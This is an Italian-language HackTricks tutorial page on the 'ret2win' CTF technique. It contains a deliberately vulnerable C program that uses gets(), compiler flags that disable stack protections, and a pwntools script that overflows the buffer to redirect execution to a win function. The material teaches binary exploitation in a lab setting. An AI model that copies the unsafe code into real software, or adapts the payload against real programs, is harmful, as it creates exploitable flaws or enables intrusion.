mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
92 lines
5.7 KiB
Markdown
92 lines
5.7 KiB
Markdown
# Ret2win
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Informazioni di Base
|
|
|
|
Le sfide **Ret2win** sono una categoria popolare nelle competizioni **Capture The Flag (CTF)**, in particolare in compiti che coinvolgono **binary exploitation**. L'obiettivo è sfruttare una vulnerabilità in un dato binario per eseguire una funzione specifica, non invocata, all'interno del binario, spesso chiamata qualcosa come `win`, `flag`, ecc. Questa funzione, quando eseguita, di solito stampa un flag o un messaggio di successo. La sfida comporta tipicamente la sovrascrittura dell'**indirizzo di ritorno** nello stack per deviare il flusso di esecuzione verso la funzione desiderata. Ecco una spiegazione più dettagliata con esempi:
|
|
|
|
### Esempio in C
|
|
|
|
Considera un semplice programma in C con una vulnerabilità e una funzione `win` che intendiamo chiamare:
|
|
```c
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
void win() {
|
|
printf("Congratulations! You've called the win function.\n");
|
|
}
|
|
|
|
void vulnerable_function() {
|
|
char buf[64];
|
|
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
|
|
}
|
|
|
|
int main() {
|
|
vulnerable_function();
|
|
return 0;
|
|
}
|
|
```
|
|
Per compilare questo programma senza protezioni dello stack e con **ASLR** disabilitato, puoi utilizzare il seguente comando:
|
|
```sh
|
|
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
|
```
|
|
- `-m32`: Compila il programma come un binario a 32 bit (questo è facoltativo ma comune nelle sfide CTF).
|
|
- `-fno-stack-protector`: Disabilita le protezioni contro gli overflow dello stack.
|
|
- `-z execstack`: Consenti l'esecuzione di codice nello stack.
|
|
- `-no-pie`: Disabilita l'eseguibile indipendente dalla posizione per garantire che l'indirizzo della funzione `win` non cambi.
|
|
- `-o vulnerable`: Nomina il file di output `vulnerable`.
|
|
|
|
### Python Exploit usando Pwntools
|
|
|
|
Per l'exploit, utilizzeremo **pwntools**, un potente framework CTF per scrivere exploit. Lo script di exploit creerà un payload per sovrascrivere il buffer e sovrascrivere l'indirizzo di ritorno con l'indirizzo della funzione `win`.
|
|
```python
|
|
from pwn import *
|
|
|
|
# Set up the process and context for the binary
|
|
binary_path = './vulnerable'
|
|
p = process(binary_path)
|
|
context.binary = binary_path
|
|
|
|
# Find the address of the win function
|
|
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
|
|
|
|
# Create the payload
|
|
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
|
|
payload = b'A' * 68 + win_addr
|
|
|
|
# Send the payload
|
|
p.sendline(payload)
|
|
p.interactive()
|
|
```
|
|
Per trovare l'indirizzo della funzione `win`, puoi utilizzare **gdb**, **objdump** o qualsiasi altro strumento che ti consenta di ispezionare file binari. Ad esempio, con `objdump`, potresti usare:
|
|
```sh
|
|
objdump -d vulnerable | grep win
|
|
```
|
|
Questo comando ti mostrerà l'assembly della funzione `win`, incluso il suo indirizzo di partenza. 
|
|
|
|
Lo script Python invia un messaggio accuratamente progettato che, quando elaborato dalla `vulnerable_function`, fa traboccare il buffer e sovrascrive l'indirizzo di ritorno nello stack con l'indirizzo di `win`. Quando `vulnerable_function` restituisce, invece di tornare a `main` o uscire, salta a `win`, e il messaggio viene stampato.
|
|
|
|
## Protezioni
|
|
|
|
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa il trabocco è `read` o simile, puoi fare un **Partial Overwrite** di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona l'ASLR, le ultime tre nibble esadecimali non sono randomizzate, quindi c'è una **1/16 possibilità** (1 nibble) di ottenere l'indirizzo di ritorno corretto.
|
|
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) dovrebbero essere anch'essi disabilitati o l'indirizzo di ritorno EIP compromesso non sarà mai seguito.
|
|
|
|
## Altri esempi & Riferimenti
|
|
|
|
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
|
|
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
|
|
- 32bit, no ASLR
|
|
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
|
|
- 64 bit con ASLR, con un leak dell'indirizzo bin
|
|
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
|
|
- 64 bit, no ASLR
|
|
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
|
|
- 32 bit, no ASLR, doppio piccolo overflow, primo per traboccare lo stack e ingrandire la dimensione del secondo overflow
|
|
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
|
- 32 bit, relro, no canary, nx, no pie, stringa di formato per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win)
|
|
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
|
- 64 bit, relro, no canary, nx, pie. Partial overwrite per chiamare la funzione win (ret2win)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|